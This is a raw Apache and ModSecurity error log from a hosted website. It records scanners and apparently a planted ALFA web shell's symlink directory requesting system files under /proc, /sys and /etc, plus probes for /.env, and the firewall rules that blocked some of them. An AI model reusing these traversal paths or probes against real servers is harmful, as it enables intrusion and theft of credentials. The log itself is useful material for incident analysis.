[Sun Oct 25 15:10:34.302880 2026] [core:error] [pid 2885089:tid 2885089] (13)Permission denied: [client 23.21.179.120:38843] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/bind
[Sun Oct 25 15:10:38.405470 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 52.45.15.233:28809] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:10:40.614750 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 85.208.96.208:23580] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:10:50.155214 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 50.17.193.48:45556] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:10:55.179125 2026] [core:error] [pid 2885694:tid 2885694] (13)Permission denied: [client 185.191.171.6:38706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/slab_size
[Sun Oct 25 15:10:58.157866 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 44.215.235.20:53958] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:11:06.167930 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 18.232.11.247:60836] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:11:34.574736 2026] [ssl:error] [pid 2882162:tid 2882162] (70014)End of file found: [client 85.208.96.212:45010] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:11:42.318698 2026] [core:error] [pid 2882168:tid 2882168] (13)Permission denied: [client 34.231.118.144:34538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/subsystem/rescan
[Sun Oct 25 15:11:58.292992 2026] [ssl:error] [pid 2882161:tid 2882161] (70014)End of file found: [client 34.236.41.241:1865] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:12:03.544150 2026] [core:error] [pid 2885108:tid 2885108] (13)Permission denied: [client 185.191.171.13:20278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_node/cpu_slabs
[Sun Oct 25 15:12:04.802582 2026] [security2:error] [pid 2882191:tid 2882191] [client 185.191.171.8:23082] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/kdump.conf"] [unique_id "at5UhJYw3jZlk1xcjz4TLQAAADA"]
[Sun Oct 25 15:12:04.802926 2026] [security2:error] [pid 2882191:tid 2882191] [client 185.191.171.8:23082] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/kdump.conf"] [unique_id "at5UhJYw3jZlk1xcjz4TLQAAADA"]
[Sun Oct 25 15:12:04.803267 2026] [security2:error] [pid 2882191:tid 2882191] [client 185.191.171.8:23082] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/kdump.conf"] [unique_id "at5UhJYw3jZlk1xcjz4TLQAAADA"]
[Sun Oct 25 15:12:10.947639 2026] [core:error] [pid 2882162:tid 2882162] (13)Permission denied: [client 85.208.96.201:14708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-512/ctor
[Sun Oct 25 15:12:14.167254 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 35.173.18.61:45150] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:12:18.140859 2026] [ssl:error] [pid 2885108:tid 2885108] (70014)End of file found: [client 54.225.81.20:35863] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:12:22.162716 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 3.213.85.234:38244] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:12:30.281288 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 34.204.150.196:52171] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:12:42.142277 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 3.94.157.25:20976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:13:02.144461 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 44.212.131.50:49992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/subsystem/drivers/hpet/uevent
[Sun Oct 25 15:13:07.499818 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 98.82.40.168:34408] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/thermal/bind
[Sun Oct 25 15:13:08.580630 2026] [core:error] [pid 2882191:tid 2882191] (13)Permission denied: [client 85.208.96.195:45124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/total_objects
[Sun Oct 25 15:13:22.338132 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 34.239.85.139:56793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:13:26.173073 2026] [ssl:error] [pid 2885089:tid 2885089] (70014)End of file found: [client 3.210.114.189:39101] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:13:42.194543 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 3.94.199.128:56747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:13:57.744832 2026] [security2:error] [pid 2885108:tid 2885108] [client 185.191.171.10:23338] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/nsswitch.conf.bak"] [unique_id "at5U9Z_hQsyVM851q_lTQwAAAAc"]
[Sun Oct 25 15:13:57.744905 2026] [security2:error] [pid 2885108:tid 2885108] [client 185.191.171.10:23338] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/nsswitch.conf.bak"] [unique_id "at5U9Z_hQsyVM851q_lTQwAAAAc"]
[Sun Oct 25 15:13:58.316748 2026] [ssl:error] [pid 2885694:tid 2885694] (70014)End of file found: [client 23.21.179.120:37125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:13:59.007887 2026] [core:error] [pid 2882160:tid 2882160] (13)Permission denied: [client 85.208.96.203:54816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/objs_per_slab
[Sun Oct 25 15:14:18.199991 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 54.147.80.137:34385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:14:26.176332 2026] [ssl:error] [pid 2882168:tid 2882168] (70014)End of file found: [client 54.210.155.69:65280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:14:34.208564 2026] [ssl:error] [pid 2880779:tid 2880779] (95)Operation not supported: [client 35.173.18.61:33209] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:14:37.548717 2026] [security2:error] [pid 2882159:tid 2882159] [client 85.208.96.201:43860] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/bulgarian/errmsg.sys"] [unique_id "at5VHTQrOBPKcZ9Rq8FX1QAAAA8"]
[Sun Oct 25 15:14:37.549310 2026] [security2:error] [pid 2882159:tid 2882159] [client 85.208.96.201:43860] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/bulgarian/errmsg.sys"] [unique_id "at5VHTQrOBPKcZ9Rq8FX1QAAAA8"]
[Sun Oct 25 15:14:37.549859 2026] [security2:error] [pid 2882159:tid 2882159] [client 85.208.96.201:43860] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/bulgarian/errmsg.sys"] [unique_id "at5VHTQrOBPKcZ9Rq8FX1QAAAA8"]
[Sun Oct 25 15:14:38.279734 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 34.231.156.59:21889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:14:44.971908 2026] [core:error] [pid 2882168:tid 2882168] (13)Permission denied: [client 185.191.171.10:40898] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-32/red_zone
[Sun Oct 25 15:14:54.127811 2026] [ssl:error] [pid 2885087:tid 2885087] (70014)End of file found: [client 54.235.172.108:32367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:14:57.119617 2026] [core:error] [pid 2882159:tid 2882159] (13)Permission denied: [client 185.191.171.14:36630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/names_cache/hwcache_align
[Sun Oct 25 15:14:58.123140 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 34.235.239.240:48642] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:15:02.189890 2026] [core:error] [pid 2882168:tid 2882168] (13)Permission denied: [client 54.147.238.89:37839] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory1/subsystem/drivers_probe
[Sun Oct 25 15:15:06.134409 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 52.7.13.143:7850] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:15:07.510789 2026] [authz_core:error] [pid 2885087:tid 2885087] [client 142.147.225.103:7308] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 15:15:13.418710 2026] [core:error] [pid 2885105:tid 2885105] (13)Permission denied: [client 185.191.171.16:53650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/hwcache_align
[Sun Oct 25 15:15:30.146969 2026] [ssl:error] [pid 2882168:tid 2882168] (5)Input/output error: [client 3.90.73.206:54170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:15:31.077980 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 185.191.171.13:40654] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:15:46.212403 2026] [ssl:error] [pid 2882191:tid 2882191] (70014)End of file found: [client 44.215.231.15:63682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:15:54.246292 2026] [core:error] [pid 2885694:tid 2885694] (13)Permission denied: [client 3.217.171.106:50999] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:00/physical_node/rescan
[Sun Oct 25 15:15:58.140642 2026] [core:error] [pid 2885089:tid 2885089] (13)Permission denied: [client 44.213.36.21:51656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:13/eject
[Sun Oct 25 15:16:14.233679 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 44.217.255.167:47797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:16:18.362176 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 185.191.171.19:55334] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/dmi/id/product_serial
[Sun Oct 25 15:16:34.346871 2026] [ssl:error] [pid 2885694:tid 2885694] (70014)End of file found: [client 3.232.102.111:30994] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:16:42.218368 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 34.192.67.98:49994] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:16:46.526484 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 34.227.234.246:29144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/device/subsystem/input4/device/driver/unbind
[Sun Oct 25 15:16:54.277537 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.194.14.255:61432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/PNP0501:01/power/"] [unique_id "at5VpuNFKka2-rJ01WB-7gAAAAk"]
[Sun Oct 25 15:16:54.277593 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.194.14.255:61432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/PNP0501:01/power/"] [unique_id "at5VpuNFKka2-rJ01WB-7gAAAAk"]
[Sun Oct 25 15:16:58.300673 2026] [ssl:error] [pid 2887459:tid 2887459] (70014)End of file found: [client 52.202.52.82:25593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:17:10.184025 2026] [ssl:error] [pid 2885694:tid 2885694] (70014)End of file found: [client 44.193.102.198:45314] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:17:17.400134 2026] [core:error] [pid 2882161:tid 2882161] (13)Permission denied: [client 85.208.96.193:20900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hashtab_node/validate
[Sun Oct 25 15:17:18.213691 2026] [ssl:error] [pid 2882160:tid 2882160] (70014)End of file found: [client 35.169.119.108:54948] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:17:22.226510 2026] [ssl:error] [pid 2885694:tid 2885694] (70014)End of file found: [client 18.207.79.144:61203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:17:30.461862 2026] [ssl:error] [pid 2887459:tid 2887459] (70014)End of file found: [client 3.222.85.38:25747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:17:57.677422 2026] [authz_core:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 15:17:58.237795 2026] [ssl:error] [pid 2882191:tid 2882191] (5)Input/output error: [client 54.197.114.76:23684] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:18:01.880357 2026] [authz_core:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 15:18:02.169844 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5V6lvZXFfv30_csgEbHAAAAAE"]
[Sun Oct 25 15:18:02.170291 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5V6lvZXFfv30_csgEbHAAAAAE"]
[Sun Oct 25 15:18:02.170613 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/z9x8c7v6b5-debug-trigger-sherwinpinturas.com"] [unique_id "at5V6lvZXFfv30_csgEbHAAAAAE"]
[Sun Oct 25 15:18:02.565668 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5V6uNFKka2-rJ01WB-8gAAAAk"]
[Sun Oct 25 15:18:02.566132 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5V6uNFKka2-rJ01WB-8gAAAAk"]
[Sun Oct 25 15:18:02.566513 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5V6uNFKka2-rJ01WB-8gAAAAk"]
[Sun Oct 25 15:18:02.634729 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V6oFcUVAO2YtGzyMekwAAAAg"]
[Sun Oct 25 15:18:02.634731 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at5V6jnLqNfi2M7PPfhJIgAAABo"]
[Sun Oct 25 15:18:02.634967 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V6oFcUVAO2YtGzyMekwAAAAg"]
[Sun Oct 25 15:18:02.634985 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at5V6jnLqNfi2M7PPfhJIgAAABo"]
[Sun Oct 25 15:18:02.635263 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env"] [unique_id "at5V6oFcUVAO2YtGzyMekwAAAAg"]
[Sun Oct 25 15:18:02.635269 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at5V6jnLqNfi2M7PPfhJIgAAABo"]
